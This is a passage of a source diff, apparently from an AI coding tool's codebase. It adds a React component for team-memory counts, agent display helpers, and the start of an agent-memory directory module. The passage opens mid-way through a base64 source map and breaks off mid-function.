R0FBaEQsYUFBZ0QsR0FBaEQsY0FBZ0Q7RUFBQSxJQUFBTSxFQUFBO0VBQUEsSUFBQVgsQ0FBQSxTQUFBVSxFQUFBO0lBQWhFQyxFQUFBLElBQUMsSUFBSSxDQUFDLFFBQVEsQ0FBUixLQUFPLENBQUMsQ0FBRSxDQUFBRCxFQUErQyxDQUFFLEVBQWhFLElBQUksQ0FBbUU7SUFBQVYsQ0FBQSxPQUFBVSxFQUFBO0lBQUFWLENBQUEsT0FBQVcsRUFBQTtFQUFBO0lBQUFBLEVBQUEsR0FBQVgsQ0FBQTtFQUFBO0VBQUEsSUFBQVksRUFBQTtFQUFBLElBQUFaLENBQUEsU0FBQVMsRUFBQSxJQUFBVCxDQUFBLFNBQUFXLEVBQUE7SUFONUVDLEVBQUEsSUFBQyxlQUFlLENBQ2QsQ0FBQyxHQUFHLENBQWUsYUFBSyxDQUFMLEtBQUssQ0FDdEIsQ0FBQUosRUFBNkIsQ0FDN0IsQ0FBQUMsRUFFTSxDQUNOLENBQUFFLEVBQXVFLENBQ3pFLEVBTkMsR0FBRyxDQU9OLEVBUkMsZUFBZSxDQVFFO0lBQUFYLENBQUEsT0FBQVMsRUFBQTtJQUFBVCxDQUFBLE9BQUFXLEVBQUE7SUFBQVgsQ0FBQSxPQUFBWSxFQUFBO0VBQUE7SUFBQUEsRUFBQSxHQUFBWixDQUFBO0VBQUE7RUFBQSxPQVJsQlksRUFRa0I7QUFBQSIsImlnbm9yZUxpc3QiOltdfQ==

src/components/messages/teamMemCollapsed.tsx

@@ -0,0 +1,140 @@
+import { c as _c } from "react/compiler-runtime";
+import React from 'react';
+import { Text } from '../../ink.js';
+import type { CollapsedReadSearchGroup } from '../../types/message.js';
+
+/**
+ * Plain function (not a React component) so the React Compiler won't
+ * hoist the teamMemory* property accesses for memoization. This module
+ * is only loaded when feature('TEAMMEM') is true.
+ */
+export function checkHasTeamMemOps(message: CollapsedReadSearchGroup): boolean {
+  return (message.teamMemorySearchCount ?? 0) > 0 || (message.teamMemoryReadCount ?? 0) > 0 || (message.teamMemoryWriteCount ?? 0) > 0;
+}
+
+/**
+ * Renders team memory count parts for the collapsed read/search UI.
+ * This module is only loaded when feature('TEAMMEM') is true,
+ * so DCE removes it entirely from external builds.
+ */
+export function TeamMemCountParts(t0) {
+  const $ = _c(23);
+  const {
+    message,
+    isActiveGroup,
+    hasPrecedingParts
+  } = t0;
+  const tmReadCount = message.teamMemoryReadCount ?? 0;
+  const tmSearchCount = message.teamMemorySearchCount ?? 0;
+  const tmWriteCount = message.teamMemoryWriteCount ?? 0;
+  if (tmReadCount === 0 && tmSearchCount === 0 && tmWriteCount === 0) {
+    return null;
+  }
+  let t1;
+  if ($[0] !== hasPrecedingParts || $[1] !== isActiveGroup || $[2] !== tmReadCount || $[3] !== tmSearchCount || $[4] !== tmWriteCount) {
+    const nodes = [];
+    let count = hasPrecedingParts ? 1 : 0;
+    if (tmReadCount > 0) {
+      const verb = isActiveGroup ? count === 0 ? "Recalling" : "recalling" : count === 0 ? "Recalled" : "recalled";
+      if (count > 0) {
+        let t2;
+        if ($[6] === Symbol.for("react.memo_cache_sentinel")) {
+          t2 = <Text key="comma-tmr">, </Text>;
+          $[6] = t2;
+        } else {
+          t2 = $[6];
+        }
+        nodes.push(t2);
+      }
+      let t2;
+      if ($[7] !== tmReadCount) {
+        t2 = <Text bold={true}>{tmReadCount}</Text>;
+        $[7] = tmReadCount;
+        $[8] = t2;
+      } else {
+        t2 = $[8];
+      }
+      const t3 = tmReadCount === 1 ? "memory" : "memories";
+      let t4;
+      if ($[9] !== t2 || $[10] !== t3 || $[11] !== verb) {
+        t4 = <Text key="team-mem-read">{verb} {t2} team{" "}{t3}</Text>;
+        $[9] = t2;
+        $[10] = t3;
+        $[11] = verb;
+        $[12] = t4;
+      } else {
+        t4 = $[12];
+      }
+      nodes.push(t4);
+      count++;
+    }
+    if (tmSearchCount > 0) {
+      const verb_0 = isActiveGroup ? count === 0 ? "Searching" : "searching" : count === 0 ? "Searched" : "searched";
+      if (count > 0) {
+        let t2;
+        if ($[13] === Symbol.for("react.memo_cache_sentinel")) {
+          t2 = <Text key="comma-tms">, </Text>;
+          $[13] = t2;
+        } else {
+          t2 = $[13];
+        }
+        nodes.push(t2);
+      }
+      const t2 = `${verb_0} team memories`;
+      let t3;
+      if ($[14] !== t2) {
+        t3 = <Text key="team-mem-search">{t2}</Text>;
+        $[14] = t2;
+        $[15] = t3;
+      } else {
+        t3 = $[15];
+      }
+      nodes.push(t3);
+      count++;
+    }
+    if (tmWriteCount > 0) {
+      const verb_1 = isActiveGroup ? count === 0 ? "Writing" : "writing" : count === 0 ? "Wrote" : "wrote";
+      if (count > 0) {
+        let t2;
+        if ($[16] === Symbol.for("react.memo_cache_sentinel")) {
+          t2 = <Text key="comma-tmw">, </Text>;
+          $[16] = t2;
+        } else {
+          t2 = $[16];
+        }
+        nodes.push(t2);
+      }
+      let t2;
+      if ($[17] !== tmWriteCount) {
+        t2 = <Text bold={true}>{tmWriteCount}</Text>;
+        $[17] = tmWriteCount;
+        $[18] = t2;
+      } else {
+        t2 = $[18];
+      }
+      const t3 = tmWriteCount === 1 ? "memory" : "memories";
+      let t4;
+      if ($[19] !== t2 || $[20] !== t3 || $[21] !== verb_1) {
+        t4 = <Text key="team-mem-write">{verb_1} {t2} team{" "}{t3}</Text>;
+        $[19] = t2;
+        $[20] = t3;
+        $[21] = verb_1;
+        $[22] = t4;
+      } else {
+        t4 = $[22];
+      }
+      nodes.push(t4);
+    }
+    t1 = <>{nodes}</>;
+    $[0] = hasPrecedingParts;
+    $[1] = isActiveGroup;
+    $[2] = tmReadCount;
+    $[3] = tmSearchCount;
+    $[4] = tmWriteCount;
+    $[5] = t1;
+  } else {
+    t1 = $[5];
+  }
+  return t1;
+}
+//# sourceMappingURL=data:application/json;charset=utf-8;base64,eyJ2ZXJzaW9uIjozLCJuYW1lcyI6WyJSZWFjdCIsIlRleHQiLCJDb2xsYXBzZWRSZWFkU2VhcmNoR3JvdXAiLCJjaGVja0hhc1RlYW1NZW1PcHMiLCJtZXNzYWdlIiwidGVhbU1lbW9yeVNlYXJjaENvdW50IiwidGVhbU1lbW9yeVJlYWRDb3VudCIsInRlYW1NZW1vcnlXcml0ZUNvdW50IiwiVGVhbU1lbUNvdW50UGFydHMiLCJ0MCIsIiQiLCJfYyIsImlzQWN0aXZlR3JvdXAiLCJoYXNQcmVjZWRpbmdQYXJ0cyIsInRtUmVhZENvdW50IiwidG1TZWFyY2hDb3VudCIsInRtV3JpdGVDb3VudCIsInQxIiwibm9kZXMiLCJjb3VudCIsInZlcmIiLCJ0MiIsIlN5bWJvbCIsImZvciIsInB1c2giLCJ0MyIsInQ0IiwidmVyYl8wIiwidmVyYl8xIl0sInNvdXJjZXMiOlsidGVhbU1lbUNvbGxhcHNlZC50c3giXSwic291cmNlc0NvbnRlbnQiOlsiaW1wb3J0IFJlYWN0IGZyb20gJ3JlYWN0J1xuaW1wb3J0IHsgVGV4dCB9IGZyb20gJy4uLy4uL2luay5qcydcbmltcG9ydCB0eXBlIHsgQ29sbGFwc2VkUmVhZFNlYXJjaEdyb3VwIH0gZnJvbSAnLi4vLi4vdHlwZXMvbWVzc2FnZS5qcydcblxuLyoqXG4gKiBQbGFpbiBmdW5jdGlvbiAobm90IGEgUmVhY3QgY29tcG9uZW50KSBzbyB0aGUgUmVhY3QgQ29tcGlsZXIgd29uJ3RcbiAqIGhvaXN0IHRoZSB0ZWFtTWVtb3J5KiBwcm9wZXJ0eSBhY2Nlc3NlcyBmb3IgbWVtb2l6YXRpb24uIFRoaXMgbW9kdWxlXG4gKiBpcyBvbmx5IGxvYWRlZCB3aGVuIGZlYXR1cmUoJ1RFQU1NRU0nKSBpcyB0cnVlLlxuICovXG5leHBvcnQgZnVuY3Rpb24gY2hlY2tIYXNUZWFtTWVtT3BzKG1lc3NhZ2U6IENvbGxhcHNlZFJlYWRTZWFyY2hHcm91cCk6IGJvb2xlYW4ge1xuICByZXR1cm4gKFxuICAgIChtZXNzYWdlLnRlYW1NZW1vcnlTZWFyY2hDb3VudCA/PyAwKSA+IDAgfHxcbiAgICAobWVzc2FnZS50ZWFtTWVtb3J5UmVhZENvdW50ID8/IDApID4gMCB8fFxuICAgIChtZXNzYWdlLnRlYW1NZW1vcnlXcml0ZUNvdW50ID8/IDApID4gMFxuICApXG59XG5cbi8qKlxuICogUmVuZGVycyB0ZWFtIG1lbW9yeSBjb3VudCBwYXJ0cyBmb3IgdGhlIGNvbGxhcHNlZCByZWFkL3NlYXJjaCBVSS5cbiAqIFRoaXMgbW9kdWxlIGlzIG9ubHkgbG9hZGVkIHdoZW4gZmVhdHVyZSgnVEVBTU1FTScpIGlzIHRydWUsXG4gKiBzbyBEQ0UgcmVtb3ZlcyBpdCBlbnRpcmVseSBmcm9tIGV4dGVybmFsIGJ1aWxkcy5cbiAqL1xuZXhwb3J0IGZ1bmN0aW9uIFRlYW1NZW1Db3VudFBhcnRzKHtcbiAgbWVzc2FnZSxcbiAgaXNBY3RpdmVHcm91cCxcbiAgaGFzUHJlY2VkaW5nUGFydHMsXG59OiB7XG4gIG1lc3NhZ2U6IENvbGxhcHNlZFJlYWRTZWFyY2hHcm91cFxuICBpc0FjdGl2ZUdyb3VwOiBib29sZWFuIHwgdW5kZWZpbmVkXG4gIGhhc1ByZWNlZGluZ1BhcnRzOiBib29sZWFuXG59KTogUmVhY3QuUmVhY3ROb2RlIHtcbiAgY29uc3QgdG1SZWFkQ291bnQgPSBtZXNzYWdlLnRlYW1NZW1vcnlSZWFkQ291bnQgPz8gMFxuICBjb25zdCB0bVNlYXJjaENvdW50ID0gbWVzc2FnZS50ZWFtTWVtb3J5U2VhcmNoQ291bnQgPz8gMFxuICBjb25zdCB0bVdyaXRlQ291bnQgPSBtZXNzYWdlLnRlYW1NZW1vcnlXcml0ZUNvdW50ID8/IDBcblxuICBpZiAodG1SZWFkQ291bnQgPT09IDAgJiYgdG1TZWFyY2hDb3VudCA9PT0gMCAmJiB0bVdyaXRlQ291bnQgPT09IDApIHtcbiAgICByZXR1cm4gbnVsbFxuICB9XG5cbiAgY29uc3Qgbm9kZXM6IFJlYWN0LlJlYWN0Tm9kZVtdID0gW11cbiAgbGV0IGNvdW50ID0gaGFzUHJlY2VkaW5nUGFydHMgPyAxIDogMFxuXG4gIGlmICh0bVJlYWRDb3VudCA+IDApIHtcbiAgICBjb25zdCB2ZXJiID0gaXNBY3RpdmVHcm91cFxuICAgICAgPyBjb3VudCA9PT0gMFxuICAgICAgICA/ICdSZWNhbGxpbmcnXG4gICAgICAgIDogJ3JlY2FsbGluZydcbiAgICAgIDogY291bnQgPT09IDBcbiAgICAgICAgPyAnUmVjYWxsZWQnXG4gICAgICAgIDogJ3JlY2FsbGVkJ1xuICAgIGlmIChjb3VudCA+IDApIHtcbiAgICAgIG5vZGVzLnB1c2goPFRleHQga2V5PVwiY29tbWEtdG1yXCI+LCA8L1RleHQ+KVxuICAgIH1cbiAgICBub2Rlcy5wdXNoKFxuICAgICAgPFRleHQga2V5PVwidGVhbS1tZW0tcmVhZFwiPlxuICAgICAgICB7dmVyYn0gPFRleHQgYm9sZD57dG1SZWFkQ291bnR9PC9UZXh0PiB0ZWFteycgJ31cbiAgICAgICAge3RtUmVhZENvdW50ID09PSAxID8gJ21lbW9yeScgOiAnbWVtb3JpZXMnfVxuICAgICAgPC9UZXh0PixcbiAgICApXG4gICAgY291bnQrK1xuICB9XG5cbiAgaWYgKHRtU2VhcmNoQ291bnQgPiAwKSB7XG4gICAgY29uc3QgdmVyYiA9IGlzQWN0aXZlR3JvdXBcbiAgICAgID8gY291bnQgPT09IDBcbiAgICAgICAgPyAnU2VhcmNoaW5nJ1xuICAgICAgICA6ICdzZWFyY2hpbmcnXG4gICAgICA6IGNvdW50ID09PSAwXG4gICAgICAgID8gJ1NlYXJjaGVkJ1xuICAgICAgICA6ICdzZWFyY2hlZCdcbiAgICBpZiAoY291bnQgPiAwKSB7XG4gICAgICBub2Rlcy5wdXNoKDxUZXh0IGtleT1cImNvbW1hLXRtc1wiPiwgPC9UZXh0PilcbiAgICB9XG4gICAgbm9kZXMucHVzaCg8VGV4dCBrZXk9XCJ0ZWFtLW1lbS1zZWFyY2hcIj57YCR7dmVyYn0gdGVhbSBtZW1vcmllc2B9PC9UZXh0PilcbiAgICBjb3VudCsrXG4gIH1cblxuICBpZiAodG1Xcml0ZUNvdW50ID4gMCkge1xuICAgIGNvbnN0IHZlcmIgPSBpc0FjdGl2ZUdyb3VwXG4gICAgICA/IGNvdW50ID09PSAwXG4gICAgICAgID8gJ1dyaXRpbmcnXG4gICAgICAgIDogJ3dyaXRpbmcnXG4gICAgICA6IGNvdW50ID09PSAwXG4gICAgICAgID8gJ1dyb3RlJ1xuICAgICAgICA6ICd3cm90ZSdcbiAgICBpZiAoY291bnQgPiAwKSB7XG4gICAgICBub2Rlcy5wdXNoKDxUZXh0IGtleT1cImNvbW1hLXRtd1wiPiwgPC9UZXh0PilcbiAgICB9XG4gICAgbm9kZXMucHVzaChcbiAgICAgIDxUZXh0IGtleT1cInRlYW0tbWVtLXdyaXRlXCI+XG4gICAgICAgIHt2ZXJifSA8VGV4dCBib2xkPnt0bVdyaXRlQ291bnR9PC9UZXh0PiB0ZWFteycgJ31cbiAgICAgICAge3RtV3JpdGVDb3VudCA9PT0gMSA/ICdtZW1vcnknIDogJ21lbW9yaWVzJ31cbiAgICAgIDwvVGV4dD4sXG4gICAgKVxuICB9XG5cbiAgcmV0dXJuIDw+e25vZGVzfTwvPlxufVxuIl0sIm1hcHBpbmdzIjoiO0FBQUEsT0FBT0EsS0FBSyxNQUFNLE9BQU87QUFDekIsU0FBU0MsSUFBSSxRQUFRLGNBQWM7QUFDbkMsY0FBY0Msd0JBQXdCLFFBQVEsd0JBQXdCOztBQUV0RTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0EsT0FBTyxTQUFTQyxrQkFBa0JBLENBQUNDLE9BQU8sRUFBRUYsd0JBQXdCLENBQUMsRUFBRSxPQUFPLENBQUM7RUFDN0UsT0FDRSxDQUFDRSxPQUFPLENBQUNDLHFCQUFxQixJQUFJLENBQUMsSUFBSSxDQUFDLElBQ3hDLENBQUNELE9BQU8sQ0FBQ0UsbUJBQW1CLElBQUksQ0FBQyxJQUFJLENBQUMsSUFDdEMsQ0FBQ0YsT0FBTyxDQUFDRyxvQkFBb0IsSUFBSSxDQUFDLElBQUksQ0FBQztBQUUzQzs7QUFFQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0EsT0FBTyxTQUFBQyxrQkFBQUMsRUFBQTtFQUFBLE1BQUFDLENBQUEsR0FBQUMsRUFBQTtFQUEyQjtJQUFBUCxPQUFBO0lBQUFRLGFBQUE7SUFBQUM7RUFBQSxJQUFB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

src/entrypoints/sdk/coreTypes.generated.ts

@@ -0,0 +1,4 @@
+// Generated SDK type definitions are omitted from this source snapshot.
+// Runtime code imports this module through `export *`; an empty module keeps
+// source-mode execution working because those generated exports are type-only.
+export {}

src/tools/AgentTool/agentDisplay.ts

@@ -0,0 +1,104 @@
+/**
+ * Shared utilities for displaying agent information.
+ * Used by both the CLI `claude agents` handler and the interactive `/agents` command.
+ */
+
+import { getDefaultSubagentModel } from '../../utils/model/agent.js'
+import {
+  getSourceDisplayName,
+  type SettingSource,
+} from '../../utils/settings/constants.js'
+import type { AgentDefinition } from './loadAgentsDir.js'
+
+type AgentSource = SettingSource | 'built-in' | 'plugin'
+
+export type AgentSourceGroup = {
+  label: string
+  source: AgentSource
+}
+
+/**
+ * Ordered list of agent source groups for display.
+ * Both the CLI and interactive UI should use this to ensure consistent ordering.
+ */
+export const AGENT_SOURCE_GROUPS: AgentSourceGroup[] = [
+  { label: 'User agents', source: 'userSettings' },
+  { label: 'Project agents', source: 'projectSettings' },
+  { label: 'Local agents', source: 'localSettings' },
+  { label: 'Managed agents', source: 'policySettings' },
+  { label: 'Plugin agents', source: 'plugin' },
+  { label: 'CLI arg agents', source: 'flagSettings' },
+  { label: 'Built-in agents', source: 'built-in' },
+]
+
+export type ResolvedAgent = AgentDefinition & {
+  overriddenBy?: AgentSource
+}
+
+/**
+ * Annotate agents with override information by comparing against the active
+ * (winning) agent list. An agent is "overridden" when another agent with the
+ * same type from a higher-priority source takes precedence.
+ *
+ * Also deduplicates by (agentType, source) to handle git worktree duplicates
+ * where the same agent file is loaded from both the worktree and main repo.
+ */
+export function resolveAgentOverrides(
+  allAgents: AgentDefinition[],
+  activeAgents: AgentDefinition[],
+): ResolvedAgent[] {
+  const activeMap = new Map<string, AgentDefinition>()
+  for (const agent of activeAgents) {
+    activeMap.set(agent.agentType, agent)
+  }
+
+  const seen = new Set<string>()
+  const resolved: ResolvedAgent[] = []
+
+  // Iterate allAgents, annotating each with override info from activeAgents.
+  // Deduplicate by (agentType, source) to handle git worktree duplicates.
+  for (const agent of allAgents) {
+    const key = `${agent.agentType}:${agent.source}`
+    if (seen.has(key)) continue
+    seen.add(key)
+
+    const active = activeMap.get(agent.agentType)
+    const overriddenBy =
+      active && active.source !== agent.source ? active.source : undefined
+    resolved.push({ ...agent, overriddenBy })
+  }
+
+  return resolved
+}
+
+/**
+ * Resolve the display model string for an agent.
+ * Returns the model alias or 'inherit' for display purposes.
+ */
+export function resolveAgentModelDisplay(
+  agent: AgentDefinition,
+): string | undefined {
+  const model = agent.model || getDefaultSubagentModel()
+  if (!model) return undefined
+  return model === 'inherit' ? 'inherit' : model
+}
+
+/**
+ * Get a human-readable label for the source that overrides an agent.
+ * Returns lowercase, e.g. "user", "project", "managed".
+ */
+export function getOverrideSourceLabel(source: AgentSource): string {
+  return getSourceDisplayName(source).toLowerCase()
+}
+
+/**
+ * Compare agents alphabetically by name (case-insensitive).
+ */
+export function compareAgentsByName(
+  a: AgentDefinition,
+  b: AgentDefinition,
+): number {
+  return a.agentType.localeCompare(b.agentType, undefined, {
+    sensitivity: 'base',
+  })
+}

src/tools/AgentTool/agentMemory.ts

@@ -0,0 +1,177 @@
+import { join, normalize, sep } from 'path'
+import { getProjectRoot } from '../../bootstrap/state.js'
+import {
+  buildMemoryPrompt,
+  ensureMemoryDirExists,
+} from '../../memdir/memdir.js'
+import { getMemoryBaseDir } from '../../memdir/paths.js'
+import { getCwd } from '../../utils/cwd.js'
+import { findCanonicalGitRoot } from '../../utils/git.js'
+import { sanitizePath } from '../../utils/path.js'
+
+// Persistent agent memory scope: 'user' (~/.claude/agent-memory/), 'project' (.claude/agent-memory/), or 'local' (.claude/agent-memory-local/)
+export type AgentMemoryScope = 'user' | 'project' | 'local'
+
+/**
+ * Sanitize an agent type name for use as a directory name.
+ * Replaces colons (invalid on Windows, used in plugin-namespaced agent
+ * types like "my-plugin:my-agent") with dashes.
+ */
+function sanitizeAgentTypeForPath(agentType: string): string {
+  return agentType.replace(/:/g, '-')
+}
+
+/**
+ * Returns the local agent memory directory, which is project-specific and not checked into VCS.
+ * When CLAUDE_CODE_REMOTE_MEMORY_DIR is set, persists to the mount with project namespacing.
+ * Otherwise, uses <cwd>/.claude/agent-memory-local/<agentType>/.
+ */
+function getLocalAgentMemoryDir(dirName: string): string {
+  if (process.env.CLAUDE_CODE_REMOTE_MEMORY_DIR) {
+    return (
+      join(
+        process.env.CLAUDE_CODE_REMOTE_MEMORY_DIR,
+        'projects',
+        sanitizePath(
+          findCanonicalGitRoot(getProjectRoot()) ?? getProjectRoot(),
+        ),
+        'agent-memory-local',
+        dirName,
+      ) + sep
+    )
+  }
+  return join(getCwd(), '.claude', 'agent-memory-local', dirName) + sep
+}
+
+/**
+ * Returns the agent memory directory for a given agent type and scope.
+ * - 'user' scope: <memoryBase>/agent-memory/<agentType>/
+ * - 'project' scope: <cwd>/.claude/agent-memory/<agentType>/
+ * - 'local' scope: see getLocalAgentMemoryDir()
+ */
+export function getAgentMemoryDir(
+  agentType: string,
+  scope: AgentMemoryScope,
+): string {
+  const dirName = sanitizeAgentTypeForPath(agentType)
+  switch (scope) {
+    case 'project':
+      return join(getCwd(), '.claude', 'agent-memory', dirName) + sep
+    case 'local':
+      return getLocalAgentMemoryDir(dirName)
+    case 'user':
+      return join(getMemoryBaseDir(), 'agent-memory', dirName) + sep
+  }
+}
+
+// Check if file is within an agent memory directory (any scope).
+export function isAgentMemoryPath(absolutePath: string): boolean {
+  // SECURITY: Normalize to prevent path traversal bypasses via .. segments
+  const normalizedPath = normalize(absolutePath)
+  const memoryBase = getMemoryBaseDir()
+
+  // User scope: check memory base (may be custom dir or config home)
+  if (normalizedPath.startsWith(join(memoryBase, 'agent-memory') + sep)) {
+    return true
+  }
+
+  // Project scope: always cwd-based (not redirected)
+  if (
